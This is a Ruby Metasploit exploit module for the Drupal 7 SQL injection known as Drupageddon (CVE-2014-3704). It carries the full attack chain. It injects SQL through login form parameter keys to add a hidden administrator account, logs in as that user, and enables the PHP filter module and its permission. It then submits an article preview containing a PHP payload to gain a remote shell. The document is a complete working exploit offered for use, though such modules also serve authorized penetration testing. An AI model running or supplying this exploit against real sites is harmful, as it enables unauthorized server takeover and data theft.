require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super (update_info(info,
'Name' => 'Drupal HTTP Parameter Key/Value SQL Injection' ,
'Description' => %q{
This module exploits the Drupal HTTP Parameter Key/Value SQL Injection
(aka Drupageddon) in order to achieve a remote shell on the vulnerable
instance. This module was tested against Drupal 7 . 0 and 7 . 31 (was fixed
in 7 . 32 ).
},
'License' => MSF_LICENSE ,
'Author' =>
[
'SektionEins' ,
'Christian Mehlmauer' ,
'Brandon Perry'
],
'References' =>
[
[ 'CVE' , '2014-3704' ],
],
'Privileged' => false ,
'Platform' => [ 'php' ],
'Arch' => ARCH_PHP ,
'Targets' => [[ 'Drupal 7.0 - 7.31' ,{}]],
'DisclosureDate' => 'Oct 15 2014' ,
'DefaultTarget' => 0
))
register_options(
[
OptString. new ( 'TARGETURI' , [ true , "The target URI of the Drupal installation" , '/' ])
], self . class )
register_advanced_options(
[
OptString. new ( 'ADMIN_ROLE' , [ true , "The administrator role" , 'administrator' ]),
OptInt. new ( 'ITER' , [ true , "Hash iterations (2^ITER)" , 10 ])
], self . class )
end
def uri_path
normalize_uri(target_uri.path)
end
def admin_role
datastore[ 'ADMIN_ROLE' ]
end
def iter
datastore[ 'ITER' ]
end
def itoa64
'./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
end
def phpass_encode64(input, count)
out = ''
cur = 0
while cur < count
value = input[cur].ord
cur += 1
out << itoa64[value & 0x3f]
if cur < count
value |= input[cur].ord << 8
end
out << itoa64[(value >> 6 ) & 0x3f]
break if cur >= count
cur += 1
if cur < count
value |= input[cur].ord << 16
end
out << itoa64[(value >> 12 ) & 0x3f]
break if cur >= count
cur += 1
out << itoa64[(value >> 18 ) & 0x3f]
end
out
end
def generate_password_hash(pass)
iter_char = itoa64[iter]
salt = Rex::Text.rand_text_alpha( 8 )
md5 = Rex::Text.md5_raw( "#{salt}#{pass}" )
iter_count = 2 **iter
1 .upto(iter_count) {
md5 = Rex::Text.md5_raw( "#{md5}#{pass}" )
}
md5_base64 = phpass_encode64(md5, md5.length)
md5_stripped = md5_base64[ 0 ... 22 ]
pass = "$P\\$" + iter_char + salt + md5_stripped
vprint_debug( "#{peer} - password hash: #{pass}" )
return pass
end
def sql_insert_user(user, pass)
"insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{generate_password_hash(pass)}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users"
end
def sql_make_user_admin(user)
"insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'))"
end
def extract_form_ids(content)
form_build_id = $1 if content =~ /name= "form_build_id" value= "(.+)" \/>/
form_token = $1 if content =~ /name= "form_token" value= "(.+)" \/>/
vprint_debug( "#{peer} - form_build_id: #{form_build_id}" )
vprint_debug( "#{peer} - form_token: #{form_token}" )
return form_build_id, form_token
end
def exploit
print_status( "#{peer} - Testing page" )
res = send_request_cgi({
'uri' => uri_path,
'vars_get' => {
'q' => 'user/login'
}
})
unless res and res.body
fail_with(Failure::Unknown, "No response or response body, bailing." )
end
form_build_id, form_token = extract_form_ids(res.body)
user = Rex::Text.rand_text_alpha( 10 )
pass = Rex::Text.rand_text_alpha( 10 )
post = {
"name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha( 10 ),
'name[0]' => Rex::Text.rand_text_alpha( 10 ),
'pass' => Rex::Text.rand_text_alpha( 10 ),
'form_build_id' => form_build_id,
'form_id' => 'user_login' ,
'op' => 'Log in'
}
print_status( "#{peer} - Creating new user #{user}:#{pass}" )
res = send_request_cgi({
'uri' => uri_path,
'method' => 'POST' ,
'vars_post' => post,
'vars_get' => {
'q' => 'user/login'
}
})
unless res and res.body
fail_with(Failure::Unknown, "No response or response body, bailing." )
end
print_status( "#{peer} - Logging in as #{user}:#{pass}" )
res = send_request_cgi({
'uri' => uri_path,
'method' => 'POST' ,
'vars_post' => {
'name' => user,
'pass' => pass,
'form_build_id' => form_build_id,
'form_id' => 'user_login' ,
'op' => 'Log in'
},
'vars_get' => {
'q' => 'user/login'
}
})
unless res and res.code == 302
fail_with(Failure::Unknown, "No response or response body, bailing." )
end
cookie = res.get_cookies
vprint_debug( "#{peer} - cookie: #{cookie}" )
print_status( "#{peer} - Trying to parse enabled modules" )
res = send_request_cgi({
'uri' => uri_path,
'vars_get' => {
'q' => 'admin/modules'
},
'cookie' => cookie
})
form_build_id, form_token = extract_form_ids(res.body)
enabled_module_regex = /name= "(.+)" value= "1" checked= "checked" class = "form-checkbox" /
enabled_matches = res.body.to_enum( :scan , enabled_module_regex).map { Regexp .last_match }
unless enabled_matches
fail_with(Failure::Unknown, "No modules enabled is incorrect, bailing." )
end
post = {
'modules[Core][php][enable]' => '1' ,
'form_build_id' => form_build_id,
'form_token' => form_token,
'form_id' => 'system_modules' ,
'op' => 'Save configuration'
}
enabled_matches. each do |match|
post[match.captures[ 0 ]] = '1'
end
print_status( "#{peer} - Enabling the PHP filter module" )
res = send_request_cgi({
'uri' => uri_path,
'method' => 'POST' ,
'vars_post' => post,
'vars_get' => {
'q' => 'admin/modules/list/confirm'
},
'cookie' => cookie
})
unless res and res.body
fail_with(Failure::Unknown, "No response or response body, bailing." )
end
print_status( "#{peer} - Setting permissions for PHP filter module" )
res = send_request_cgi({
'uri' => uri_path,
'vars_get' => {
'q' => 'admin/people/permissions'
},
'cookie' => cookie
})
unless res and res.body
fail_with(Failure::Unknown, "No response or response body, bailing." )
end
form_build_id, form_token = extract_form_ids(res.body)
perm_regex = /name= "(.*)" value= "(.*)" checked= "checked" /
enabled_perms = res.body.to_enum( :scan , perm_regex).map { Regexp .last_match }
unless enabled_perms
fail_with(Failure::Unknown, "No enabled permissions were able to be parsed, bailing." )
end
id = $1 if res.body =~ / for = "edit-([0-9]+)-administer-content-types" >
vprint_debug( "#{peer} - admin role id: #{id}" )
unless id
fail_with(Failure::Unknown, "Could not parse out administrator ID" )
end
post = {
"#{id}[use text format php_code]" => 'use text format php_code' ,
'form_build_id' => form_build_id,
'form_token' => form_token,
'form_id' => 'user_admin_permissions' ,
'op' => 'Save permissions'
}
enabled_perms. each do |match|
post[match.captures[ 0 ]] = match.captures[ 1 ]
end
res = send_request_cgi({
'uri' => uri_path,
'method' => 'POST' ,
'vars_post' => post,
'vars_get' => {
'q' => 'admin/people/permissions'
},
'cookie' => cookie
})
unless res and res.body
fail_with(Failure::Unknown, "No response or response body, bailing." )
end
print_status( "#{peer} - Getting tokens from create new article page" )
res = send_request_cgi({
'uri' => uri_path,
'vars_get' => {
'q' => 'node/add/article'
},
'cookie' => cookie
})
unless res and res.body
fail_with(Failure::Unknown, "No response or response body, bailing." )
end
form_build_id, form_token = extract_form_ids(res.body)
data = Rex:: MIME ::Message. new
data.add_part(Rex::Text.rand_text_alpha( 10 ), nil , nil , 'form-data; name="title"' )
data.add_part(form_build_id, nil , nil , 'form-data; name="form_build_id"' )
data.add_part(form_token, nil , nil , 'form-data; name="form_token"' )
data.add_part( 'article_node_form' , nil , nil , 'form-data; name="form_id"' )
data.add_part( 'php_code' , nil , nil , 'form-data; name="body[und][0][format]"' )
data.add_part( "<?php #{payload.encoded} ?>" , nil , nil , 'form-data; name="body[und][0][value]"' )
data.add_part( 'Preview' , nil , nil , 'form-data; name="op"' )
data.add_part(user, nil , nil , 'form-data; name="name"' )
data.add_part( '1' , nil , nil , 'form-data; name="status"' )
data.add_part( '1' , nil , nil , 'form-data; name="promote"' )
post_data = data.to_s
print_status( "#{peer} - Calling preview page. Exploit should trigger..." )
send_request_cgi(
'method' => 'POST' ,
'uri' => uri_path,
'ctype' => "multipart/form-data; boundary=#{data.bound}" ,
'data' => post_data,
'vars_get' => {
'q' => 'node/add/article'
},
'cookie' => cookie
)
end
end
|